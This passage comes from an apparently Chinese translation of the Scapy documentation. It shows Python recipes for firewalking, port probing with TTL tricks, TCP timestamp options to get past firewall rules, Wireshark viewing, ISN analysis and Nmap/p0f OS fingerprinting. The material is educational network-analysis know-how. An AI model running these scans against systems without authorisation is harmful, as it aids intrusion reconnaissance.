我们设置multi=True来确保Scapy在接收到第一个响应之后可以等待更多的应答数据包。这也就是我们为什么不用更方便的dhcp_request()函数,而是手动地构造DCHP数据包的原因:dhcp_request()使用srp1()来发送和接收数据包,这样在接收到一个应答数据包之后就会立即返回。

此外,Scapy通常确保应答来源于之前发送请求的目的地址。但是我们的DHCP数据包被发送到IP广播地址(255.255.255.255),任何应答数据包都将回复DCHP服务器的IP地址作为其源IP地址(e.g. 192.168.1.1)。由于这些IP地址不匹配,我们必须在发送请求前使用conf.checkIPaddr = False来禁用Scapy的check。

See also

http://en.wikipedia.org/wiki/Rogue_DHCP

Firewalking

TTL减一操作过滤后,只有没被过滤的数据包会产生一个ICMP TTL超时

>>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024)))
>>> for s,r in ans:
        if r.haslayer(ICMP) and r.payload.type == 11:
            print s.dport

在对多网卡的防火墙查找子网时,只有它自己的网卡IP可以达到这个TTL:

>>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP())
>>> for i in unans: print i.dst

TCP Timestamp Filtering

Problem

在比较流行的端口扫描器中,一种常见的情况就是没有设置TCP时间戳选项,而许多防火墙都包含一条规则来丢弃这样的TCP数据包。

Solution

为了让Scapy能够到达其他位置,就必须使用其他选项:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))]))

Viewing packets with Wireshark

Problem

你已经使用Scapy收集或者嗅探了一些数据包,因为Wireshark高级的数据包展示功能,你想使用Wireshark查看这些数据包。

Solution

正好可以使用wireshark()函数:

>>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP()     # first generate some packets
>>> wireshark(packets)                                        # show them with Wireshark

Discussion

wireshark()函数可以生成一个临时pcap文件,来包含你的数据包,然后会在后台启动Wireshark,使其在启动时读取该文件。

请记住Wireshark是处理第二层的数据包(通常被称为“帧”)。所以我们必须为ICMP数据包添加一个Ether()头。如果你直接将IP数据包(第三层)传递给Wireshark,你将会得到一个奇怪的结果。

你可以通过改变conf.prog.wireshark的配置设置,来告诉Scapy去哪寻找Wireshark可执行文件。

OS Fingerprinting

ISN

Scapy的可用于分析ISN(初始序列号)递增来发现可能有漏洞的系统。首先我们将在一个循环中发送SYN探头,来收集目标响应:

>>> ans,unans=srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"))

一旦我们得到响应之后,我们可以像这样开始分析收集到的数据:

>>> temp = 0
>>> for s,r in ans:
...    temp = r[TCP].seq - temp
...    print str(r[TCP].seq) + "\t+" + str(temp)
...
4278709328      +4275758673
4279655607      +3896934
4280642461      +4276745527
4281648240      +4902713
4282645099      +4277742386
4283643696      +5901310

nmap_fp

在Scapy中支持Nmap指纹识别(是到Nmap v4.20的“第一代”功能)。在Scapy v2中,你首先得加载扩展模块:

>>> load_module("nmap")

如果你已经安装了Nmap,你可以让Scapy使用它的主动操作系统指纹数据库。清确保version 1签名数据库位于指定的路径:

>>> conf.nmap_base

然后你可以使用namp_fp()函数,该函数和Nmap操作系统检测引擎使用同样的探针:

>>> nmap_fp("192.168.1.1",oport=443,cport=1)
Begin emission:
.****..**Finished to send 8 packets.
*................................................
Received 58 packets, got 7 answers, remaining 1 packets
(1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch',
'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)
w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11'])

p0f

如果你已在操作系统中安装了p0f,你可以直接从Scapy中使用它来猜测操作系统名称和版本。(仅在SYN数据库被使用时)。首先要确保p0f数据库存在于指定的路径:

>>> conf.p0f_base

例如,根据一个捕获的数据包猜测操作系统:

>>> sniff(prn=prnp0f)
192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs)
  -> 74.125.19.104:www (distance 0)
<Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>